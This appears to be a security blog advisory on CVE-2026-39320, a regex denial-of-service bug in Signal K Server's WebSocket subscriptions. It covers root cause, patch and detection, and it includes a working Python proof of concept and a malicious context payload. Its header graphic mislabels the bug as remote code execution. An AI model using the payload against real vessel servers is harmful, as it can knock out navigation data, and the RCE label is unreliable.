home intel cve-2026-39320-signalk-redos-websocket-context
CVE Analysis 2026-04-21 · 8 min read

CVE-2026-39320: ReDoS via Unescaped Regex in Signal K WebSocket Subscriptions

Signal K Server <2.25.0 allows unauthenticated attackers to inject regex metacharacters into the WebSocket `context` parameter, triggering catastrophic backtracking and 100% CPU DoS.

#redos-attack#websocket-vulnerability#regex-injection#denial-of-service#signal-k-server
Technical mode — for security professionals
▶ Attack flow — CVE-2026-39320 · Remote Code Execution
ATTACKERRemote / unauthREMOTE CODE EXECCVE-2026-39320Cross-platform · HIGHCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

Signal K Server is the central navigation data hub aboard networked vessels, aggregating NMEA 0183, NMEA 2000, and ancillary sensor streams over WebSocket and REST. The server runs as a Node.js process on embedded hardware — Raspberry Pi, OpenPlotter, or similar — where CPU headroom is minimal and recovery from a crash often requires physical intervention at sea.

CVE-2026-39320 (CVSS 7.5 HIGH) is an unauthenticated Regular Expression Denial of Service in the WebSocket subscription dispatch path. An attacker with network access to the Signal K port (default 3000) can send a single crafted subscription frame, saturate the Node.js event loop with catastrophic regex backtracking, and render the server permanently unresponsive without any credential or prior session. Versions prior to 2.25.0 are affected.

Root cause: The pathToRegexp-style subscription filter in the WebSocket delta handler passes the attacker-controlled context field directly to new RegExp() without escaping metacharacters, enabling catastrophic backtracking against long UUID-form self-identifiers.

Affected Component

The vulnerability lives in the WebSocket subscription handler, specifically the function that converts an incoming subscription's context string into a RegExp used to match incoming delta paths against subscribed contexts. The relevant file in the repository is packages/server-node/src/interfaces/ws.js (or the TypeScript equivalent in more recent refactors). The subscription message schema looks like:


{
  "context": "*",          // attacker-controlled string
  "subscribe": [
    { "path": "navigation.speedOverGround" }
  ]
}

The server is expected to translate context glob patterns (vessels.*, self, etc.) into regex matchers. The bug is in that translation step.

Root Cause Analysis

Signal K's subscription engine needs to match incoming delta contexts — which look like vessels.urn:mrn:imo:mmsi:123456789 or vessels.urn:mrn:signalk:uuid:2b32a4c0-1234-5678-abcd-ef0123456789 — against the subscriber's requested context pattern. The vulnerable code constructs that matcher like this:


// packages/server-node/src/interfaces/ws.js  (pre-2.25.0)

function contextToRegex(contextPattern) {
  // BUG: contextPattern is attacker-supplied; no metacharacter escaping applied
  //      before passing to new RegExp(). Glob '*' is converted, but all other
  //      regex metacharacters arrive verbatim.
  const regexStr = contextPattern
    .replace(/\./g, '\\.')   // escape literal dots — but nothing else
    .replace(/\*/g, '.*');   // convert glob star to regex any-sequence

  return new RegExp('^' + regexStr + '$');   // BUG: catastrophic if regexStr contains (a+)+
}

function handleSubscribeRequest(client, msg) {
  const context = msg.context;              // attacker-controlled, never sanitised
  const pattern = contextToRegex(context); // builds malicious RegExp

  // For every incoming delta from *every* vessel, test the pattern:
  signalkServer.on('delta', (delta) => {
    if (pattern.test(delta.context)) {     // BUG: test() may never return
      client.send(JSON.stringify(delta));
    }
  });
}

The critical interaction is with the server's self-identifier. Signal K servers identify themselves with a UUID-keyed context such as:


vessels.urn:mrn:signalk:uuid:2b32a4c0-ffff-4a3b-8c1d-deadbeef0042

A payload like (a+)+b injected as the context becomes the regex ^(a+)+b$. When pattern.test() is called against the 60-character UUID string on every delta event, V8's regex engine enters exponential backtracking. With a carefully crafted ambiguous pattern the backtrack count scales as O(2^n) in the length of the subject string.

Exploitation Mechanics


EXPLOIT CHAIN:
1. Attacker opens a raw TCP/WebSocket connection to ws://[vessel-ip]:3000/signalk/v1/stream
   — no authentication required on default installs with security disabled,
     and subscribe requests are processed before auth checks complete in some code paths

2. Attacker sends a single subscription frame with a malicious `context` value:
   {
     "context": "(a+)+[^b]urn:mrn:signalk:uuid:",
     "subscribe": [{ "path": "navigation.speedOverGround" }]
   }

3. contextToRegex() constructs:
     /^(a+)+[^b]urn:mrn:signalk:uuid:.*$/
   No error is thrown — this is a syntactically valid but pathological regex.

4. The subscription is registered against the server-wide 'delta' event emitter.

5. The server's own heartbeat or any connected NMEA source fires a delta with context:
     "vessels.urn:mrn:signalk:uuid:2b32a4c0-ffff-4a3b-8c1d-deadbeef0042"

6. pattern.test(delta.context) is invoked. V8's NFA engine attempts to match
   (a+)+ against the non-matching UUID string. The possessive-less quantifier
   forces 2^n backtrack states across the 60-char subject.

7. Node.js event loop is blocked. No I/O callbacks are serviced.
   All WebSocket clients, REST API consumers, and internal timers freeze.

8. CPU reaches 100% on a single core. Server becomes fully unresponsive.
   On embedded hardware (Pi 3B, 1.2 GHz quad-core) recovery requires
   manual process restart — no watchdog fires because the process is alive.

The minimal proof-of-concept is a single WebSocket message. No login token, no CSRF bypass, no multi-stage interaction:


#!/usr/bin/env python3
# CVE-2026-39320 — Signal K ReDoS PoC
# CypherByte research — do not use against systems you do not own

import websocket
import json
import time

TARGET = "ws://192.168.1.1:3000/signalk/v1/stream"

# Ambiguous quantifier pattern. The UUID subject string's ':' characters
# prevent a match, forcing exhaustive backtracking over the repeated groups.
MALICIOUS_CONTEXT = "(a+)+[^b]urn:mrn:signalk:uuid:"

def trigger_redos():
    ws = websocket.create_connection(TARGET, timeout=10)

    # Consume the hello frame
    hello = json.loads(ws.recv())
    print(f"[*] Connected. Server version: {hello.get('version', 'unknown')}")

    payload = {
        "context": MALICIOUS_CONTEXT,
        "subscribe": [
            {"path": "navigation.speedOverGround"}
        ]
    }

    ws.send(json.dumps(payload))
    print(f"[*] Sent malicious subscription: {MALICIOUS_CONTEXT}")

    # Server should respond to the subscription request — it won't
    ws.settimeout(5)
    try:
        ws.recv()
        print("[-] Server responded (not vulnerable or no deltas in flight)")
    except Exception:
        print("[+] Timeout — event loop likely blocked. Server unresponsive.")

    ws.close()

if __name__ == "__main__":
    trigger_redos()

Memory Layout

ReDoS is not a memory corruption bug, but understanding why it is so severe on Signal K's deployment targets requires examining the V8 regex engine's NFA state machine cost and Node.js's single-threaded event loop architecture.


NODE.JS EVENT LOOP — NORMAL STATE:
┌─────────────────────────────────────────────────────────┐
│  timers      → heartbeat tick (1s)                      │
│  I/O poll    → WebSocket frames from 3 clients          │
│              → NMEA TCP stream from multiplexer         │
│  check       → setImmediate callbacks                   │
│  close cbs   → socket cleanup                           │
└─────────────────────────────────────────────────────────┘
  Avg loop iteration: ~2ms

NODE.JS EVENT LOOP — AFTER MALICIOUS SUBSCRIPTION + FIRST DELTA:
┌─────────────────────────────────────────────────────────┐
│  BLOCKED IN:                                            │
│    RegExp.prototype.test()                              │
│      → V8 NFA engine backtracking                       │
│      → subject: "vessels.urn:mrn:signalk:uuid:2b32..."  │
│         (60 chars, no match possible)                   │
│      → states explored: O(2^n) where n≈30              │
│      → estimated duration on Pi 3B: 90+ seconds        │
│                                                         │
│  ALL PENDING: timers, I/O, API, other WS clients        │
└─────────────────────────────────────────────────────────┘
  CPU: 100% single core | Heap: unchanged | Memory: stable
  Effect: indistinguishable from process hang to watchdogs

V8 NFA BACKTRACK STATE GROWTH for (a+)+[^b] against "aaa...aaa:":
  n= 5 → ~32 states
  n=10 → ~1,024 states
  n=20 → ~1,048,576 states
  n=30 → ~1,073,741,824 states  ← exceeds Pi 3B ~1s budget at ~10M states/s

Patch Analysis

The fix in 2.25.0 sanitises the context string before constructing the regex. All regex metacharacters are escaped prior to glob expansion, ensuring attacker input is treated as a literal string fragment rather than a regex sub-expression.


// BEFORE (vulnerable — pre-2.25.0):
function contextToRegex(contextPattern) {
  const regexStr = contextPattern
    .replace(/\./g, '\\.')
    .replace(/\*/g, '.*');
  return new RegExp('^' + regexStr + '$');
}

// AFTER (patched — 2.25.0):
function escapeRegex(str) {
  // Escape all special regex metacharacters before any glob expansion.
  // This matches the ECMAScript spec set: \ ^ $ . | ? * + ( ) [ ] { }
  return str.replace(/[\\^$.|?*+()[\]{}]/g, '\\$&');
}

function contextToRegex(contextPattern) {
  // Step 1: escape all metacharacters in the raw input
  // Step 2: un-escape only the glob '*' we intentionally convert
  const regexStr = escapeRegex(contextPattern)
    .replace(/\\\*/g, '.*');   // restore glob-star as regex any-sequence
  return new RegExp('^' + regexStr + '$');
}

The order of operations is critical. Escaping first and then selectively restoring \*.* means a literal asterisk in the user input becomes the intended wildcard, while all other metacharacters ((, +, [, ^, etc.) are neutralised as literal characters. An input of (a+)+uuid: now becomes the regex ^\(a\+\)\+uuid:$ — a harmless literal match attempt that returns in constant time.

Additionally, 2.25.0 enforces a maximum length on the context field at the subscription validation layer, providing defence-in-depth against any future bypass:


// 2.25.0 — subscription validation (defence-in-depth):
const MAX_CONTEXT_LENGTH = 256;

function validateSubscribeMsg(msg) {
  if (typeof msg.context !== 'string') {
    throw new Error('context must be a string');
  }
  if (msg.context.length > MAX_CONTEXT_LENGTH) {
    throw new Error(`context exceeds maximum length of ${MAX_CONTEXT_LENGTH}`);
  }
  // ... further schema validation
}

Detection and Indicators

Because this is a pure CPU-exhaustion attack with no network anomaly beyond the initial WebSocket frame, detection requires process-level telemetry:


INDICATORS OF EXPLOITATION:

Host-level:
  - signalk-server process CPU > 95% sustained for > 10s
  - Node.js event loop lag metric (if exposed via prom-client) > 1000ms
  - /proc/[pid]/stat shows process in 'R' state with no I/O wait

Network-level:
  - Single WebSocket connection from external IP immediately preceding CPU spike
  - WS frame containing regex metacharacters: ( ) + [ ] ^ { } in context field
  - Absence of subsequent frames from that connection (attacker disconnects)

Log-level (if debug logging is enabled):
  - Subscription registration log entry with context matching:
      /[\\^$.|?*+()[\]{}]/ (presence of unescaped metacharacters)
  - No subsequent delta delivery log entries (loop blocked before emit)

SNORT/Suricata signature concept:
  alert tcp any any -> $SIGNALK_SERVERS 3000 (
    msg:"CVE-2026-39320 Signal K ReDoS attempt";
    content:"\"context\"";
    pcre:"/\"context\"\s*:\s*\"[^\"]*[\(\)\+\[\]\{\}\^\|\\\\][^\"]*\"/";
    sid:2026039320; rev:1;
  )

Remediation

Immediate: Upgrade to Signal K Server 2.25.0 or later. This is the only complete fix.

If upgrade is not immediately possible:

  • Enable Signal K's built-in security model (settings.json: "security": { "strategy": "sk-simple-token-security" }). This requires clients to authenticate before subscribing, raising the bar from unauthenticated to authenticated exploitation. Note that authenticated ReDoS is still DoS — this is mitigation only.
  • Place the Signal K port behind a firewall rule restricting WebSocket access to the vessel LAN (192.168.x.x/24). Marinas with shared Wi-Fi represent a realistic attack surface.
  • Deploy a reverse proxy (nginx) in front of Signal K with a WAF rule rejecting request bodies containing regex metacharacter sequences in the context value.
  • Add a process supervisor (systemd with Restart=always, or pm2) to auto-restart the server after a hang — this does not prevent the DoS but reduces recovery time from manual to automatic.

For operators running Signal K on vessels where navigation instruments depend on the server (chartplotters consuming AIS, depth, wind data via Signal K REST/WS), this vulnerability is operationally significant. A single malicious frame from any device on the boat network — a compromised phone, a rogue marina AP, a passenger laptop — can take down the navigation hub. Upgrade promptly.

CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →